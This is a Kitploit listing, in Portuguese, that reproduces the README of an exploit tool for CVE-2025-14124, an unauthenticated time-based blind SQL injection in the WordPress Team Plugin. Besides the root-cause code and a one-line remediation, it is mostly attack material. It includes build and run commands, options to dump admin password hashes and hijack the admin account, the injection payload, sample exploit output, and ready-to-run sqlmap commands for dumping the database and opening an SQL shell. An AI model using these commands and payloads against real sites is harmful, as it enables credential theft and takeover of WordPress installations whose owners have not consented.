Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-14124 — Injeção SQL não autenticada (cega baseada em tempo) | Kitploit
Ferramentas/GitHubGitHub/hyunchiya/cve-2025-14124
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

Injeção SQL não autenticada (cega baseada em tempo)

Ver Repositório
11há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-14124

WordPress Team Plugin - Injeção SQL não autenticada

Autor: Hyun Chiya


Informações da Vulnerabilidade

CampoValor
ID do CVECVE-2025-14124
PluginWordPress Team Plugin
Versões Afetadas< 5.0.11
Tipo de VulnerabilidadeInjeção SQL não autenticada (Cega Baseada em Tempo)
GravidadeAlta

Descrição

O WordPress Team Plugin não sanitiza e escapa corretamente o parâmetro search antes de usá-lo em uma instrução SQL através de uma ação AJAX disponível para usuários não autenticados, levando a uma injeção SQL.

Análise da Causa Raiz

O código vulnerável está em app/Controllers/Frontend/Ajax/LoadMore.php:

// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

Problema: $wpdb->esc_like() apenas escapa curingas LIKE, NÃO metacaracteres de injeção SQL.

Fluxo de Exploração

flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

Pré-requisitos

  1. O alvo tem o WordPress Team Plugin instalado (< 5.0.11)
  2. Uma página com o shortcode [tlpteam] deve existir
  3. Pelo menos um membro da equipe criado no plugin

Build

go build -o CVE-2025-14124.exe main.go

Uso

Detecção Automática da Página da Equipe

.\CVE-2025-14124.exe -u http://target.com

Especificar URL da Página da Equipe

.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

Verificar Apenas o Plugin

.\CVE-2025-14124.exe -u http://target.com --check-only

Atraso SLEEP Personalizado

.\CVE-2025-14124.exe -u http://target.com --delay 5

Opções

ArgumentoDescrição
-uURL do WordPress alvo (obrigatório)
--page-urlURL da página contendo o shortcode tlpteam
--delaySegundos SLEEP para detecção (padrão: 1)
--dumpExtrair informações do banco de dados e credenciais de admin do WordPress
--create-adminTentar sequestrar conta de admin (requer consultas empilhadas)
--admin-userNome de usuário para sequestro de admin (padrão: pwned_admin)
--admin-passSenha para sequestro de admin (padrão: Pwned123!)
--check-onlyApenas verificar se o plugin está ativo
--timeoutTimeout de requisição em segundos (padrão: 120)

Modo de Extração de Dados (--dump)

Ao usar --dump, a ferramenta extrairá:

  • Versão do banco de dados
  • Nome atual do banco de dados
  • Usuário do banco de dados
  • Prefixo da tabela do WordPress
  • Nome de usuário admin
  • Hash da senha do admin
  • E-mail do admin

Nota: A extração de dados é lenta devido à natureza da injeção SQL cega baseada em tempo (~5-15 minutos para extração completa).

Modo de Sequestro de Admin (--create-admin)

Tenta alterar a senha do admin existente via SQL UPDATE.

⚠️ Importante: Este modo requer suporte a consultas empilhadas, que normalmente estão desabilitadas em PHP+MySQL. Se consultas empilhadas não forem suportadas, use --dump para extrair as credenciais, ou use sqlmap --sql-shell para execução direta de UPDATE.

Exemplo de Saída

>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

Usando com SQLMap

Para exploração avançada, você pode usar sqlmap após confirmar a vulnerabilidade:

# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

Remediação

⚠️ IMPORTANTE: Atualize o WordPress Team Plugin para a versão 5.0.11 ou posterior, onde a vulnerabilidade foi corrigida com escape SQL adequado usando $wpdb->prepare().

Referências

  • Banco de Dados de Vulnerabilidades WPScan

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizados. O acesso não autorizado a sistemas de computador é ilegal. Use com responsabilidade.

Autor

Hyun Chiya

Baixar ferramenta